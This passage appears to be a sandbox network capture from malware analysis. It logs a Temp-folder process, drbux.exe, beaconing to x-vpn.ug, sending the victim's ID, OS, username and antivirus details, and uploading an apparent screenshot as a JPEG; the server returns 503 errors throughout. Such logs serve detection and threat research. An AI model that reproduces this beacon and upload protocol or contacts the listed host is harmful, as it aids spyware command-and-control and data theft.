Jul 19, 2021 18:37:04.934598923 CEST	22622	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:04 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:37:04.974831104 CEST	22622	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ef973b17689de8f52c4b073e0df426bc Host: x-vpn.ug Content-Length: 96662 Cache-Control: no-cache
Jul 19, 2021 18:37:04.975054026 CEST	22622	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 65 66 39 37 33 62 31 37 36 38 39 64 65 38 66 35 32 63 34 62 30 37 33 65 30 64 66 34 32 36 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------ef973b17689de8f52c4b073e0df426bcContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:37:04.975503922 CEST	22632	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:37:04.975635052 CEST	22635	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:37:05.068749905 CEST	22638	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:37:05.068835020 CEST	22648	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:37:05.068988085 CEST	22656	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:37:05.069032907 CEST	22662	OUT	Data Raw: 1a a2 47 8a 29 b9 a3 34 c4 3c 1a 5a 60 34 e0 69 a2 47 83 4e 07 34 c1 cd 38 55 22 58 fa 29 29 6a 89 1c 29 c0 d3 05 3a a9 12 d1 28 3c 53 f3 51 03 4e 06 ad 32 1a 24 06 9e 0d 44 0f 34 e5 ab 4c 86 89 81 a7 83 50 8a 7e 6a d3 33 68 93 34 03 4c cd 28 35 Data Ascii: G)4<Z`4iGN48U"X))j):(<SQN2$D4LP~j3h4L(5WS -"Gz(5D8"oZp&p=@QTA<.RHjpJ4cPt@}h.Qa=8OJ^foZU=G(Tdb+
Jul 19, 2021 18:37:05.080049992 CEST	22662	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:37:05.162316084 CEST	22666	OUT	Data Raw: 80 15 7b c7 da bd bd ce a9 6f e1 ad 33 e4 d2 74 74 58 c2 03 c3 be 38 27 d7 8e 73 ea 4f a5 66 da c3 a7 5c e9 17 56 f7 88 c2 42 e8 d1 c8 8d b5 90 00 c0 e0 fe 23 8a e5 85 e7 2e 77 f2 3a 9d a1 1e 54 4b ac 99 bc 50 d0 7f 68 cf 21 48 73 b1 23 c2 ae 4f Data Ascii: {o3ttX8'sOf\VB#.w:TKPh!Hs#Or9xEy iHmyup[]6g /v&]FdhFibOlpN,DgG M>rzvjkI\|W3lQrT:\wZ``(UJN<r(
Jul 19, 2021 18:37:05.162369013 CEST	22676	OUT	Data Raw: 3d 6b 62 e3 fe 45 2d 1f fe b9 8f e5 58 fd eb 93 0d f0 bf 56 69 8c f8 d7 a2 01 ef 4b 81 45 2d 74 9c 68 40 29 f8 a6 d2 8a 45 21 c0 53 bb d3 69 c2 a4 a4 38 52 8a 05 28 35 2c b4 2d 38 73 48 08 a5 cd 49 a2 1e 29 45 34 53 85 26 52 1c 29 e2 9a 3a 52 81 Data Ascii: =kbE-XViKE-th@)E!Si8R(5,-8sHI)E4S&R):RPCjAQRhNNcL*A&W9-rc-~X"UcZ')6im]EpFk[M6yu4Ho4`aV[yI;m
Jul 19, 2021 18:37:05.162398100 CEST	22685	OUT	Data Raw: 68 97 1d 72 e0 60 63 eb 55 e4 b6 b8 86 de 0b 89 6d e5 48 2e 37 18 64 64 21 64 da 70 76 9e 87 07 83 8a ee 13 4b d7 35 0f 16 e8 ba be 91 0d c4 9a 45 bc 16 c6 1b a8 c9 f2 2d a3 48 d7 cd 47 61 c2 60 89 37 29 c1 39 3c 1d dc 97 b7 36 7a a6 8b a1 e8 28 Data Ascii: hr`cUmH.7dd!dpvK5E-HGa`7)9<6z(V+;esA0=2jwU%k>K#Lm,c)}GyIxr%rn=^2)VW$?Hcr,WOlh<&F7dJO#n7

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
362	192.168.2.6	50121	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:05.144468069 CEST	22663	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:05.236828089 CEST	22716	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
363	192.168.2.6	50122	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:05.433377028 CEST	22721	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:05.515944958 CEST	22722	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
364	192.168.2.6	50123	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:05.570147991 CEST	22722	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ef973b17689de8f52c4b073e0df426bc Host: x-vpn.ug Content-Length: 96662 Cache-Control: no-cache
Jul 19, 2021 18:37:05.570358992 CEST	22722	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 65 66 39 37 33 62 31 37 36 38 39 64 65 38 66 35 32 63 34 62 30 37 33 65 30 64 66 34 32 36 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------ef973b17689de8f52c4b073e0df426bcContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:37:05.570591927 CEST	22732	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:37:05.570807934 CEST	22735	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:37:05.653597116 CEST	22736	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:37:05.654238939 CEST	22738	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:37:05.654691935 CEST	22741	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:37:05.654720068 CEST	22744	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:37:05.655129910 CEST	22747	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:37:05.655536890 CEST	22749	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:37:05.655881882 CEST	22752	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:37:05.656235933 CEST	22755	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
365	192.168.2.6	50124	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:05.709734917 CEST	22762	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:05.788563013 CEST	22813	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
366	192.168.2.6	50125	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:05.990293026 CEST	22823	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:06.086633921 CEST	22836	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
367	192.168.2.6	50126	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:06.081847906 CEST	22823	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ef973b17689de8f52c4b073e0df426bc Host: x-vpn.ug Content-Length: 96662 Cache-Control: no-cache
Jul 19, 2021 18:37:06.082004070 CEST	22823	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 65 66 39 37 33 62 31 37 36 38 39 64 65 38 66 35 32 63 34 62 30 37 33 65 30 64 66 34 32 36 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------ef973b17689de8f52c4b073e0df426bcContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:37:06.082222939 CEST	22833	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:37:06.082444906 CEST	22836	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
